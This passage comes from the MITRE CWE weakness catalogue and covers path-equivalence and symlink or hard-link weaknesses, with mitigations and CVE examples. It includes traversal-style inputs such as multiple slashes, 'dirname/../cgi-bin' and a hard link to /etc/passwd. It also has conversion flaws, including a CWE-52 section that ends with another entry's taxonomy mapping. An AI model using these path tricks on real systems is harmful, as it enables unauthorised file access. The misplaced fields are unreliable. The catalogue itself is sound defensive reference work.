<b>CVE-2004-1032</b>	Product allows local users to delete arbitrary files or create arbitrary empty files via a target filename with a large number of leading slash (/) characters. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1032">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1032</a>
<b>CVE-2002-1238</b>	Server allows remote attackers to bypass access restrictions for files via an HTTP request with a sequence of multiple / (slash) characters such as <a href="http://www.example.com///file/">http://www.example.com///file/</a> . <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1238">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1238</a>
<b>CVE-2004-1878</b>	Product allows remote attackers to bypass authentication, obtain sensitive information, or gain access via a direct request to <a href="#">admin/user.pl</a> preceded by // (double leading slash). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1878">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1878</a>
<b>CVE-2005-1365</b>	Server allows remote attackers to execute arbitrary commands via a URL with multiple leading "/" (slash) characters and "." sequences. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1365">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1365</a>
<b>CVE-2000-1050</b>	Access directory using multiple leading slash. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1050">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1050</a>
<b>CVE-2001-1072</b>	Bypass access restrictions via multiple leading slash, which causes a regular expression to fail. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1072">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1072</a>
<b>CVE-2004-0235</b>	Archive extracts to arbitrary files using multiple leading slash in filenames in the archive. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0235">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0235</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	1636

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			//multiple/leading/slash ('multiple leading slash')
Software Fault Patterns	SFP16		Path Traversal

## CWE-51: Path Equivalence: '/multiple//internal/slash'

<b>Weakness ID</b> : 51	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

A software system that accepts path input in the form of multiple internal slash ('/multiple//internal/slash/') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		41	Improper Resolution of Path Equivalence	78

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		41	Improper Resolution of Path Equivalence	78

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
CVE-2002-1483	Read files with full pathname using multiple internal slash. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1483">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1483</a>

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			/multiple//internal/slash ('multiple internal slash')
Software Fault Patterns	SFP16		Path Traversal

## CWE-52: Path Equivalence: '/multiple/trailing/slash/'

<b>Weakness ID</b> : 52	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

A software system that accepts path input in the form of multiple trailing slash ('/multiple/trailing/slash//') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			filedir* (asterisk / wildcard)
Software Fault Patterns	SFP16		Path Traversal

## CWE-57: Path Equivalence: 'fakedir/../readdir/filename'

<b>Weakness ID</b> : 57	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The software contains protection mechanisms to restrict access to 'readdir/filename', but it constructs pathnames using external input in the form of 'fakedir/../readdir/filename' that are not handled by those mechanisms. This allows attackers to perform unauthorized actions against the targeted file.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2001-1152</b>	Proxy allows remote attackers to bypass blacklist restrictions and connect to unauthorized web servers by modifying the requested URL, including (1) a // (double slash), (2) a /SUBDIR/.. where the desired file is in the parentdir, (3) a /./, or (4) URL-encoded characters. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1152">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1152</a>
<b>CVE-2000-0191</b>	application check access for restricted URL before canonicalization

Reference	Description
	<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0191">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0191</a>
<b>CVE-2005-1366</b>	CGI source disclosure using "dirname/../cgi-bin" <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1366">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1366</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1636

### Notes

#### Theoretical

This is a manipulation that uses an injection for one consequence (containment violation using relative path) to achieve a different consequence (equivalence by alternate name).

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			dirname/fakechild/../realchild/filename
Software Fault Patterns	SFP16		Path Traversal

## CWE-58: Path Equivalence: Windows 8.3 Filename

<b>Weakness ID</b> : 58	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The software contains a protection mechanism that restricts access to a long filename on a Windows operating system, but the software does not properly restrict access to the equivalent short "8.3" filename.

### Extended Description

On later Windows operating systems, a file can have a "long name" and a short name that is compatible with older Windows file systems, with up to 8 characters in the filename and 3 characters for the extension. These "8.3" filenames, therefore, act as an alternate name for files with long names, so they are useful pathname equivalence manipulations.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	E	41	Improper Resolution of Path Equivalence	78

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf	E	41	Improper Resolution of Path Equivalence	78

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Operating\_System** : Windows (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Potential Mitigations

#### Phase: System Configuration

Disable Windows from supporting 8.3 filenames by editing the Windows registry. Preventing 8.3 filenames will not remove previously generated 8.3 filenames.

### Observed Examples

Reference	Description
<b>CVE-1999-0012</b>	Multiple web servers allow restriction bypass using 8.3 names instead of long names <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0012">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0012</a>
<b>CVE-2001-0795</b>	Source code disclosure using 8.3 file name. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0795">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0795</a>
<b>CVE-2005-0471</b>	Multi-Factor Vulnerability. Product generates temporary filenames using long filenames, which become predictable in 8.3 format. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0471">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0471</a>

### Functional Areas

## CWE-59: Improper Link Resolution Before File Access ('Link Following')

<b>Weakness ID</b> : 59	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

## Description

The software attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	1276
ParentOf		61	UNIX Symbolic Link (Symlink) Following	109
ParentOf		62	UNIX Hard Link	112
ParentOf		64	Windows Shortcut Following (.LNK)	114
ParentOf		65	Windows Hard Link	116
CanFollow		73	External Control of File Name or Path	125
CanFollow		363	Race Condition Enabling Link Following	760

MemberOf		1019	Validate Inputs	1658

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		21	Pathname Traversal and Equivalence Errors	1534
ParentOf		61	UNIX Symbolic Link (Symlink) Following	109
ParentOf		62	UNIX Hard Link	112
ParentOf		64	Windows Shortcut Following (.LNK)	114
ParentOf		65	Windows Hard Link	116

## Weakness Ordinalities

**Resultant** :

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Operating\_System** : Windows (*Prevalence = Sometimes*)

**Operating\_System** : Unix (*Prevalence = Often*)

## Background Details

Soft links are a UNIX term that is synonymous with simple shortcuts on windows based platforms.

## Alternate Terms

**insecure temporary file** : Some people use the phrase "insecure temporary file" when referring to a link following weakness, but other weaknesses can produce insecure temporary files without any symlink involvement at all.

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Access Control	Read Files or Directories Modify Files or Directories Bypass Protection Mechanism  <i>An attacker may be able to traverse the file system to unintended locations and read or overwrite the contents of unexpected files. If the files are used for a security mechanism then an attacker may be able to bypass the mechanism.</i>	
Other	Execute Unauthorized Code or Commands  <i>Windows simple shortcuts, sometimes referred to as soft links, can be exploited remotely since a ".LNK" file can be uploaded like a normal file. This can enable remote execution.</i>	

## Detection Methods

### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = High*

### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

## Potential Mitigations

### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

## Observed Examples

Reference	Description
<b>CVE-1999-1386</b>	Some versions of Perl follows symbolic links when running with the -e option, which allows local users to overwrite arbitrary files via a symlink attack. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1386">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1386</a>
<b>CVE-2000-1178</b>	Text editor follows symbolic links when creating a rescue copy during an abnormal exit, which allows local users to overwrite the files of other users. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1178">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1178</a>
<b>CVE-2004-0217</b>	Antivirus update allows local users to create or append to arbitrary files via a symlink attack on a logfile. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0217">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0217</a>
<b>CVE-2003-0517</b>	Symlink attack allows local users to overwrite files. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0517">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0517</a>
<b>CVE-2004-0689</b>	Window manager does not properly handle when certain symbolic links point to "stale" locations, which could allow local users to create or truncate arbitrary files. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0689">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0689</a>
<b>CVE-2005-1879</b>	Second-order symlink vulnerabilities <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1879">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1879</a>
<b>CVE-2005-1880</b>	Second-order symlink vulnerabilities <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1880">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1880</a>
<b>CVE-2005-1916</b>	Symlink in Python program <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1916">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1916</a>
<b>CVE-2000-0972</b>	Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0972">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0972</a>
<b>CVE-2005-0824</b>	Signal causes a dump that follows symlinks. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0824">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0824</a>
<b>CVE-2001-1494</b>	Hard link attack, file overwrite; interesting because program checks against soft links <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1494">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1494</a>
<b>CVE-2002-0793</b>	Hard link and possibly symbolic link following vulnerabilities in embedded operating system allow local users to overwrite arbitrary files. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0793">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0793</a>
<b>CVE-2003-0578</b>	Server creates hard links and unlinks files as root, which allows local users to gain privileges by deleting and overwriting arbitrary files. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0578">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0578</a>
<b>CVE-1999-0783</b>	Operating system allows local users to conduct a denial of service by creating a hard link from a device special file to a file on an NFS file system. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0783">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0783</a>

Reference	Description
<b>CVE-2004-1603</b>	Web hosting manager follows hard links, which allows local users to read or modify arbitrary files. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1603">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1603</a>
<b>CVE-2004-1901</b>	Package listing system allows local users to overwrite arbitrary files via a hard link attack on the lockfiles. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1901">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1901</a>
<b>CVE-2005-1111</b>	Hard link race condition <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1111">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1111</a>
<b>CVE-2000-0342</b>	Mail client allows remote attackers to bypass the user warning for executable attachments such as .exe, .com, and .bat by using a .lnk file that refers to the attachment, aka "Stealth Attachment." <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0342">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0342</a>
<b>CVE-2001-1042</b>	FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1042">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1042</a>
<b>CVE-2001-1043</b>	FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1043">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1043</a>
<b>CVE-2005-0587</b>	Browser allows remote malicious web sites to overwrite arbitrary files by tricking the user into downloading a .LNK (link) file twice, which overwrites the file that was referenced in the first .LNK file. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0587">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0587</a>
<b>CVE-2001-1386</b>	".LNK." - .LNK with trailing dot <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1386">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1386</a>
<b>CVE-2003-1233</b>	Rootkits can bypass file access restrictions to Windows kernel directories using NtCreateSymbolicLinkObject function to create symbolic link <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1233">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1233</a>
<b>CVE-2002-0725</b>	File system allows local attackers to hide file usage activities via a hard link to the target file, which causes the link to be recorded in the audit trail instead of the target file. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0725">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0725</a>
<b>CVE-2003-0844</b>	Web server plugin allows local users to overwrite arbitrary files via a symlink attack on predictable temporary filenames. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0844">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0844</a>

### Functional Areas

- File Processing

### Affected Resources

- File or Directory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	21	Pathname Traversal and Equivalence Errors	1003	1534
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	1666

MemberOf	C	748	CERT C Secure Coding (2008 Version) Section 50 - POSIX (POS)	734	1579
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	1583

Nature	Type	ID	Name	V	Page
MemberOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)		1605
MemberOf		884	CWE Cross-section		1681
MemberOf		980	SFP Secondary Cluster: Link in Resource Name Resolution		1635

## Notes

### Relationship

Link following vulnerabilities are Multi-factor Vulnerabilities (MFV). They are the combination of multiple elements: file or directory permissions, filename predictability, race conditions, and in some cases, a design limitation in which there is no mechanism for performing atomic file creation operations. Some potential factors are race conditions, permissions, and predictability.

### Research Gap

UNIX hard links, and Windows hard/soft links are under-studied and under-reported.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Link Following
CERT C Secure Coding	FIO02-C		Canonicalize path names originating from untrusted sources
CERT C Secure Coding	POS01-C		Check for the existence of links when dealing with files
CERT Perl Secure Coding	FIO01-PL	CWE More Specific	Do not operate on files that can be modified by untrusted users
Software Fault Patterns	SFP18		Link in resource name resolution

## CWE-61: UNIX Symbolic Link (Symlink) Following

<b>Weakness ID</b> : 61	<b>Status</b> : Incomplete
<b>Structure</b> : Composite	
<b>Abstraction</b> : Compound	

### Description

The software, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

### Composite Components

Nature	Type	ID	Name	Page
Requires		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	753

Nature	Type	ID	Name	Page
Requires		340	Predictability Problems	715
Requires		216	Containment Errors (Container Errors)	485
Requires		386	Symbolic Name not Mapping to Correct Object	799
Requires		732	Incorrect Permission Assignment for Critical Resource	1282

### Extended Description

A software system that allows UNIX symbolic links (symlink) as part of paths whether in internal code or through user input can allow an attacker to spoof the symbolic link and traverse the file system to unintended locations or access arbitrary files. The symbolic link can permit an attacker to read/write/corrupt a file that they originally did not have permissions to access.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		59	Improper Link Resolution Before File Access ('Link Following')	104

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		59	Improper Link Resolution Before File Access ('Link Following')	104

### Weakness Ordinalities

**Resultant :**

### Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

### Alternate Terms

**Symlink following :**

**symlink vulnerability :**

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Potential Mitigations

#### Phase: Implementation

Symbolic link attacks often occur when a program creates a tmp directory that stores files/ links. Access to the directory should be restricted to the program as to prevent attackers from manipulating the files.

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

### Observed Examples

Reference	Description
<b>CVE-1999-1386</b>	Some versions of Perl follows symbolic links when running with the -e option, which allows local users to overwrite arbitrary files via a symlink attack. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1386">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1386</a>
<b>CVE-2000-1178</b>	Text editor follows symbolic links when creating a rescue copy during an abnormal exit, which allows local users to overwrite the files of other users. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1178">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1178</a>
<b>CVE-2004-0217</b>	Antivirus update allows local users to create or append to arbitrary files via a symlink attack on a logfile. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0217">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0217</a>
<b>CVE-2003-0517</b>	Symlink attack allows local users to overwrite files. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0517">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0517</a>
<b>CVE-2004-0689</b>	Possible interesting example <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0689">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0689</a>
<b>CVE-2005-1879</b>	Second-order symlink vulnerabilities <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1879">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1879</a>
<b>CVE-2005-1880</b>	Second-order symlink vulnerabilities <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1880">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1880</a>
<b>CVE-2005-1916</b>	Symlink in Python program <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1916">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1916</a>
<b>CVE-2000-0972</b>	Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0972">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0972</a>
<b>CVE-2005-0824</b>	Signal causes a dump that follows symlinks. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0824">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0824</a>

### Notes

#### Research Gap

Symlink vulnerabilities are regularly found in C and shell programs, but all programming languages can have this problem. Even shell programs are probably under-reported. "Second-order symlink vulnerabilities" may exist in programs that invoke other programs that follow symlinks. They are rarely reported but are likely to be fairly common when process invocation is used. Reference: [Christey2005]

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name

## CWE-62: UNIX Hard Link

<b>Weakness ID</b> : 62	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The software, when opening a file or directory, does not sufficiently account for when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

### Extended Description

Failure for a system to check for hard links can result in vulnerability to different types of attacks. For example, an attacker can escalate their privileges if a file used by a privileged program is replaced with a hard link to a sensitive file (e.g. /etc/passwd). When the process opens the file, the attacker can assume the privileges of that process.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		59	Improper Link Resolution Before File Access ('Link Following')	104

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		59	Improper Link Resolution Before File Access ('Link Following')	104

### Weakness Ordinalities

**Resultant** :

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Operating\_System** : Unix (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Potential Mitigations

**Phase: Architecture and Design**

*Strategy = Separation of Privilege*

Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a

sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

### Observed Examples

Reference	Description
<b>CVE-2001-1494</b>	Hard link attack, file overwrite; interesting because program checks against soft links <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1494">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1494</a>
<b>CVE-2002-0793</b>	Hard link and possibly symbolic link following vulnerabilities in embedded operating system allow local users to overwrite arbitrary files. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0793">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0793</a>
<b>CVE-2003-0578</b>	Server creates hard links and unlinks files as root, which allows local users to gain privileges by deleting and overwriting arbitrary files. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0578">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0578</a>
<b>CVE-1999-0783</b>	Operating system allows local users to conduct a denial of service by creating a hard link from a device special file to a file on an NFS file system. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0783">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0783</a>
